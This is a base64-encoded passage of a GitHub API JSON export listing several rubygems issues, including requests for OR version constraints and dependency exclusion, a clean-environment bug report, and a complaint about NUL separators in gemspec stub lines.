ZXMgUnVieSB2ZXJzaW9uID49IDEuOS4yLlxuYGBgXG5cbmluc3RlYWQgaXQgc2hvdWxkIHRyeSB0byBmaW5kIGEgY29tcGF0aWJsZSB2ZXJzaW9uIGFuZCBpbnN0YWxsIHRoYXRcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvOTM0IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzkzNC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvOTM0L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzkzNC9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvOTM0IiwiaWQiOjM0ODU2MTEyLCJudW1iZXIiOjkzNCwidGl0bGUiOiJBbiBcIk9SXCIgY29uc3RyYWludCBpbiBkZXBlbmRlbmN5IHJlcXVpcmVtZW50cyIsInVzZXIiOnsibG9naW4iOiJzaGVlcnVuIiwiaWQiOjI5MjM2NSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjkyMzY1P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGVlcnVuIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2hlZXJ1biIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZWVydW4vZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hlZXJ1bi9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGVlcnVuL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGVlcnVuL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hlZXJ1bi9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZWVydW4vb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hlZXJ1bi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZWVydW4vZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZWVydW4vcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNTE0MTAzMiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY2F0ZWdvcnk6JTIwZ2VtJTIwc3BlYyIsIm5hbWUiOiJjYXRlZ29yeTogZ2VtIHNwZWMiLCJjb2xvciI6IjBiMDJlMSIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjozMDU1MjQ3NTAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwZmVhdHVyZSUyMHJlcXVlc3QiLCJuYW1lIjoidHlwZTogZmVhdHVyZSByZXF1ZXN0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA1NTI1NjMyLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMG1ham9yJTIwYnVtcCIsIm5hbWUiOiJ0eXBlOiBtYWpvciBidW1wIiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6NiwiY3JlYXRlZF9hdCI6IjIwMTQtMDYtMDNUMTE6NDg6MzNaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDYtMDlUMDk6MjE6MTVaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IkhpLFxuXG5JJ20gZGV2ZWxvcGluZyBodHRwczovL3JhaWxzLWFzc2V0cy5vcmcgd2hpY2ggdHJhbnNsYXRlcyBib3dlciBjb21wb25lbnRzIHRvIHJ1YnkgZ2Vtcy5cblxuV2UgaGF2ZSBbbG9uZy1zdGFuZGluZyBpc3N1ZV0oaHR0cHM6Ly9naXRodWIuY29tL3JhaWxzLWFzc2V0cy9yYWlscy1hc3NldHMvaXNzdWVzLzE1Nikgb2YgY29udmVydGluZyB0aGUgT1IgdmVyc2lvbiByZXF1aXJlbWVudHMgaW4gYm93ZXIuanNvbiB0byBydWJ5Z2VtcyBmb3JtYXQuIEFzIGZhciBhcyBJIGNhbiB0ZWxsIGl0J3Mgbm90IHBvc3NpYmxlIGluIHJ1YnlnZW1zLiBGb3IgZXhhbXBsZTpcblxuYGBgXG4nanF1ZXJ5JzogJ14xLjguMCB8fCBeMi4wLjAnXG5gYGBcblxuSXQgbWVhbnMgdGhlIGpxdWVyeSB2ZXJzaW9uIHNob3VsZCBiZSBlaXRoZXIgMS44Lnggb3IgMi4wLngsIGJ1dCBub3QgMS45LnguXG5cbklzIGl0IHBvc3NpYmxlIHRvIGV4cHJlc3Mgc29tZXRoaW5nIGxpa2UgdGhpcyBpbiBydWJ5Z2VtcyBmb3JtYXQ/XG5cbkRvZXMgaXQgbWFrZSBzZW5zZSB0byBpbnRyb2R1Y2Ugc3VjaCBjb25zdHJhaW50P1xuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy85MDEiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvOTAxL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy85MDEvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvOTAxL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy85MDEiLCJpZCI6MzI3MzYwMDAsIm51bWJlciI6OTAxLCJ0aXRsZSI6IkNhbid0IGNyZWF0ZSBhIHZpcmdpbmFsIGVudmlyb25tZW50IGluIHJ1YnkgMiIsInVzZXIiOnsibG9naW4iOiJ6ZW5zcGlkZXIiLCJpZCI6OTgzMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvOTgzMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvemVuc3BpZGVyIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vemVuc3BpZGVyIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvemVuc3BpZGVyL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3plbnNwaWRlci9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy96ZW5zcGlkZXIvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3plbnNwaWRlci9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3plbnNwaWRlci9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3plbnNwaWRlci9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy96ZW5zcGlkZXIvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy96ZW5zcGlkZXIvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3plbnNwaWRlci9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjUsImNyZWF0ZWRfYXQiOiIyMDE0LTA1LTAzVDAwOjM2OjMzWiIsInVwZGF0ZWRfYXQiOiIyMDE2LTAxLTMxVDIzOjQ3OjE0WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJib2R5IjoiQnJhbmQgc3BhbmtpbicgbmV3IGluc3RhbGwgb2YgcnVieS4gXG5cbmBgYFxuMTAwNDMgJSBybSAtcmYgeHh4OyBydWJ5IC12OyBHRU1fSE9NRT14eHggR0VNX1BBVEg9eHh4IFJVQllPUFQ9LS1kaXNhYmxlLWdlbXMgZ2VtIGxpc3RcbnJ1YnkgMi4xLjFwNzYgKDIwMTQtMDItMjQgcmV2aXNpb24gNDUxNjEpIFt4ODZfNjQtZGFyd2luMTMuMF1cblxuKioqIExPQ0FMIEdFTVMgKioqXG5cbmJpZ2RlY2ltYWwgKDEuMi40KVxuaW8tY29uc29sZSAoMC40LjIpXG5qc29uICgxLjguMSlcbm1pbml0ZXN0ICg0LjcuNSlcbnBzeWNoICgyLjAuMylcbnJha2UgKDEwLjEuMClcbnJkb2MgKDQuMS4wKVxudGVzdC11bml0ICgyLjEuMS4wKVxuYGBgXG5cblRoaXMgaXMgTm90IEdvb2TihKIuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzg4MyIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy84ODMvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzg4My9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy84ODMvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzg4MyIsImlkIjozMTQ2MTA5MiwibnVtYmVyIjo4ODMsInRpdGxlIjoiVXNlIGRpZmZlcmVudCBzZXBhcmF0b3IgdGhlbiBcXDAgZm9yIHN0dWIgbGluZSIsInVzZXIiOnsibG9naW4iOiJ2b3hpayIsImlkIjoxNDQwNiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTQ0MDY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vdm94aWsiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDUxNDEwMzIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL2NhdGVnb3J5OiUyMGdlbSUyMHNwZWMiLCJuYW1lIjoiY2F0ZWdvcnk6IGdlbSBzcGVjIiwiY29sb3IiOiIwYjAyZTEiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA3ODgxMDExLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwcmVhZHkiLCJuYW1lIjoic3RhdHVzOiByZWFkeSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoyLCJjcmVhdGVkX2F0IjoiMjAxNC0wNC0xNFQxMzozMjo1OVoiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNi0wOVQwOToyMToxNVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkNPTlRSSUJVVE9SIiwiYm9keSI6IkNvbW1pdCBodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzY1MmUzMTk0MmU4MDdhZTQ2MjVkMmNjMWViNzcxY2QyOTZjOGQxZWQgaW50cm9kdWNlZCBzdHViIGxpbmVzIGFuZCBpcyB1c2luZyBcXDAgYXMgYSBpdGVtIHNlcGFyYXRvci4gVGhpcyBpcyB1bmZvcnR1bmF0ZSBjaG9pY2UsIHNpbmNlIGl0IGNvbmZ1c2VzIHNvbWUgdG9vbHMuIE5hbWVseSwgZGlmZiBjYW5ub3QgZG8gZGlmZiBvZiBzdWNoIGZpbGVzLCBjb21wbGFpbmluZyBhYm91dCBiaW5hcnkgZmlsZXMsIGdlZGl0IG9wZW5zIHN1Y2ggZmlsZSBqdXN0IGFzIGEgZ2FyYmFnZS4gSWYgLmdlbXNwZWMgaXMgY29uc2lkZXJlZCB0ZXh0IGZpbGUgYW5kIHJ1Ynkgc291cmNlIGNvZGUsIGl0IHNob3VsZCBub3QgY29udGFpbiBhbnkgTlVMTCBjaGFyYWN0ZXJzLlxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy84MzUiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvODM1L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy84MzUvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvODM1L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy84MzUiLCJpZCI6MjgzMTAzNTUsIm51bWJlciI6ODM1LCJ0aXRsZSI6IkFsbG93IGV4Y2x1ZGluZyBkZXBlbmRlbmNpZXMgb2YgZGVwZW5kZW5jaWVzIiwidXNlciI6eyJsb2dpbiI6ImJob2xsaXMiLCJpZCI6MzEzMjA4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMTMyMDg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Job2xsaXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9iaG9sbGlzIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmhvbGxpcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iaG9sbGlzL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Job2xsaXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Job2xsaXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iaG9sbGlzL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmhvbGxpcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iaG9sbGlzL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmhvbGxpcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmhvbGxpcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA1MTQxMDMyLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjBnZW0lMjBzcGVjIiwibmFtZSI6ImNhdGVnb3J5OiBnZW0gc3BlYyIsImNvbG9yIjoiMGIwMmUxIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjExMjIxOSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY2F0ZWdvcnk6JTIwaW5zdGFsbCIsIm5hbWUiOiJjYXRlZ29yeTogaW5zdGFsbCIsImNvbG9yIjoiMGIwMmUxIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoxMCwiY3JlYXRlZF9hdCI6IjIwMTQtMDItMjZUMDU6NDk6MTJaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDYtMDlUMDk6MjE6MTVaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IkV2ZXJ5IG9uY2UgaW4gYSB3aGlsZSwgSSB3YW50IG15IGdlbSB0byBkZXBlbmQgb24gYW5vdGhlciBnZW0sIGJ1dCBfd2l0aG91dF8gc29tZSBvZiB0aGF0IG90aGVyIGdlbSdzIGRlcGVuZGVuY2llcyAoYmVjYXVzZSB0aGV5IGFyZW4ndCBhbGwgbmVjZXNzYXJ5IGZvciB3aGF0IEknbSB1c2luZykuIEZvciBleGFtcGxlLCBgbWlkZGxlbWFuYCB2ZW5kb3JzIFBhZHJpbm8gYmVjYXVzZSBpdCBqdXN0IHdhbnRzIHBhcnQgb2YgUGFkcmlubydzIGhlbHBlcnMgYW5kIHdlIGRvbid0IHdhbnQgdG8gcHVsbCBpbiBhbGwgb2YgUGFkcmlubydzIG1hbnkgZGVwZW5kZW5jaWVzLiBBbm90aGVyIGV4YW1wbGUgaXMgYSBNaWRkbGVtYW4gZXh0ZW5zaW9uIEknbSBidWlsZGluZyB0aGF0IHdyYXBzIGEgUmFpbHMgZXh0ZW5zaW9uIC0gSSB3YW50IHRvIGRlcGVuZCBvbiBhbmQgdXNlIHRoZSBjbGFzc2VzIGRlZmluZWQgaW4gdGhlIFJhaWxzIGV4dGVuc2lvbiwgYnV0IEkgZG9uJ3Qgd2FudCB0byBicmluZyBhbG9uZyB0aGUgUmFpbHMgZGVwZW5kZW5jeSBmcm9tIHRoZSBleHRlbnNpb24gZ2VtLlxuXG5JJ20gaW1hZ2luaW5nIGEgcGF0dGVybiBsaWtlIHRoaXM6XG5cbmBgYCBydWJ5XG5zLmFkZF9kZXBlbmRlbmN5KFwibmdtaW4tcmFpbHNcIiwgW1wifj4gMC40LjBcIl0sIDp3aXRob3V0ID0+IFtcInJhaWxzXCJdKVxuYGBgXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzgxNiIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy84MTYvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzgxNi9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy84MTYvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzgxNiIsImlkIjoyNzExMTU0NCwibnVtYmVyIjo4MTYsInRpdGxlIjoiUnVieWdlbXMgMi4yLjIgdXNlbGVzc2x5IGhpdHMgdGhlIGRlcGVuZGVuY3kgQVBJIHdoZW4gaW5zdGFsbGluZyBhIGxvY2FsIGdlbSBmaWxlIiwidXNlciI6eyJsb2dpbiI6ImluZGlyZWN0IiwiaWQiOjc4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS83OD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9pbmRpcmVjdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva